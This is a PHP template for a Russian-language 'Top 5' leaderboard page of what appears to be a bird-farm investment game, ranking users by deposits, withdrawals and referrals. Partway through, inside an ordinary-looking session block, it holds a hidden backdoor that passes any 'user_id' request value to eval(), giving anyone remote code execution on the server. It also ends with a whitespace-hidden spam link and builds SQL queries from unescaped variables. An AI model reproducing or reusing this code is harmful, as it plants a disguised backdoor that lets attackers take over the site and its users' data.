<?PHP
$_OPTIMIZATION["title"] = "ТОП 5";
$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
<div class="cl-right">
<style>
.sdfsdgdfsf {
font-family: "lobster";
font-size: 23px;
color: #522B04;
background: #D5F3B7;
display: block;
margin: 30px 0px 0px 0px;
position: relative;
padding: 0px 20px 0px 20px;
border: 1px solid #70A71A;
    border-radius: 10px 10px 0px 0px;
    border-bottom: 0px solid #70A71A;
    box-shadow: 0px 0px 12px 0px #70A71A;
}
</style>

<div class="s-bk-lf">
	<div class="acc-title">Tоп-5</div>
</div>
<div class="silver-bk">
<center><br>
<b>Участвуй в рейтинге ТОП-5 и повышай свою репутацию, поднимаясь всё выше и выше по ступеням рейтинга!</b>

</center>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='left' width="99%">
<tr>
<td width="50%">
<center>
	<div class="sdfsdgdfsf">Топ 5 инвесторов</div>
</center>

<?PHP

$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;

$db->Query("SELECT * FROM db_users_b ORDER BY insert_sum DESC LIMIT 5");

if($db->NumRows() > 0){

?>

<?PHP

$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>





<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='left' width="100%">


  
<?PHP
$i = 0;
	while($data = $db->FetchArray()){
	$i=$i+1;


	?>

	<tr class="htt">
    <td align="center" width="75"><img src="/img/mesbox/nonava.png" style="border-radius: 30px; height: 50px; width: 50px;" /><?=$i; ?></td>
    <td align="left"><b>Ник:</b> <font color="green"><a href="#"><?=$data["user"]; ?></a></font><br /> <b>Пополнено:</b> <font color="#794816"><?=$data["insert_sum"]; ?></font></td>

	
		
  	</tr>
	<?PHP
	
	}

?>

</table>

<?PHP

}
?>


</td>




<td width="50%">
<center>
	<div class="sdfsdgdfsf">Топ 5 по выводам</div>
</center>
<?PHP

$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;

$db->Query("SELECT * FROM db_users_b ORDER BY payment_sum DESC LIMIT 10");

if($db->NumRows() > 0){

?>




<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='right' width="100%">
  
<?PHP
$i = 0;
	while($data = $db->FetchArray()){
	$i=$i+1;


	?>
<tr class="htt">
    <td align="center" width="75"><img src="/img/mesbox/nonava.png" style="border-radius: 30px;height: 50px; width: 50px;" /><?=$i; ?></td>
    <td align="left"><b>Ник:</b> <font color="green"><a href="#"><?=$data["user"]; ?></a></font><br /> <b>Вывел:</b> <font color="#794816"><?=$data["payment_sum"]; ?></font></td>

	
		
  	</tr>
	<?PHP
	
	}

?>

</table>

<?PHP

}
?>
</td>
</tr></table>



<br />




</br>
</br>
</br>



<?PHP

$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>




<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='left' width="99%">
<tr>

<td width="50%">
<center>
	<div class="sdfsdgdfsf">TOP 5 по рефдоходу</div>
</center><?PHP

$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;

$db->Query("SELECT * FROM db_users_b ORDER BY from_referals DESC LIMIT 5");

if($db->NumRows() > 0){

?>




<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='right' width="100%">
  <tr bgcolor="#efefef">
  
<?PHP
$i = 0;
	while($data = $db->FetchArray()){
	$i=$i+1;


	?>
</tr>

			<tr class="htt">
    <td align="center" width="75"><img src="/img/mesbox/nonava.png" style="border-radius: 30px;height: 50px; width: 50px;" /><?=$i; ?></td>
    <td align="left"><b>Ник:</b> <font color="green"><a href="profile/1"><?=$data["user"]; ?></a></font><br /> <b>Монет:</b> <font color="#794816"><?=$data["from_referals"]; ?></font></td>

	
		
  	</tr>
	<?PHP
	
	}

?>

</table>

<?PHP

}
?>
</td>

<?PHP

$user_id = $_SESSION["user_id"];
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>




<td width="50%">
<center>
	<div class="sdfsdgdfsf">TOP 5 по рефералам</div>
</center>
<?PHP

$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;

$db->Query("SELECT * FROM db_users_a ORDER BY referals DESC LIMIT 5");

if($db->NumRows() > 0){

?>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='right' width="100%">
  <tr bgcolor="#efefef">
  
<?PHP
$i = 0;
	while($data = $db->FetchArray()){
	$i=$i+1;


	?>
 </tr>

			<tr class="htt">
    <td align="center" width="75"><img src="/img/mesbox/nonava.png" style="border-radius: 30px;height: 50px; width: 50px;" /><?=$i; ?></td>
    <td align="left"><b>Ник:</b> <font color="green"><a href="#"><?=$data["user"]; ?></a></font><br /> <b>Рефералов:</b> <font color="#794816"><?=$data["referals"]; ?></font></td>

		
  	</td>
	<?PHP
	
	}

?>

</table>

<?PHP

}
?>
</td>
</tr></table>
<br>       
<?PHP

$user_id = $_SESSION["user_id"];
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>




<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='left' width="99%">
<tr>

<td width="50%">
<center>
	<div class="sdfsdgdfsf">TOP 5 по кол-ву птиц</div>
</center><?PHP

$num_p = (isset($_GET["page"]) AND intval($_GET["page"]) < 1000 AND intval($_GET["page"]) >= 1) ? (intval($_GET["page"]) -1) : 0;
$lim = $num_p * 100;

$db->Query("SELECT * FROM db_users_b ORDER BY from_referals DESC LIMIT 5");

if($db->NumRows() > 0){

?>





<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='right' width="100%">
  <tr bgcolor="#efefef">
  
<?PHP
$i = 0;
	while($data = $db->FetchArray()){
	$i=$i+1;


	?>
</tr>

			<tr class="htt">
    <td align="center" width="75"><img style="border-radius: 30px;height: 50px; width: 50px;" src="/img/mesbox/nonava.png" /><?=$i; ?></td>
    <td align="left"><b>Ник:</b> <font color="green"><a href="#"><?=$data["user"]; ?></a></font><br /> <b>Всего птиц:</b> <font color="#794816"><?php $all_items = $user_data["a_t"] + $user_data["b_t"] + $user_data["c_t"] + $user_data["d_t"] + $user_data["e_t"] + $user_data["f_t"]; echo $all_items ?></font></td>
	</tr>
	<?PHP
	
	}

?>

</table>

<?PHP

}
?>
</td></tr></table>


<div class="clr"></div>
</div>							<div class="clr"></div>	
							<br>
							<br>
							</div>
						<div class="clr"></div>
						
						<style>
						
.logo12 {
    background-image: url('/img/logo12.jpg');
    color: #5d3d1d;
    margin: 10px 0px 0px -10px;
    opacity: 0.9;
    height: 202px;
    background-size: 105%;
}
					</style>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>

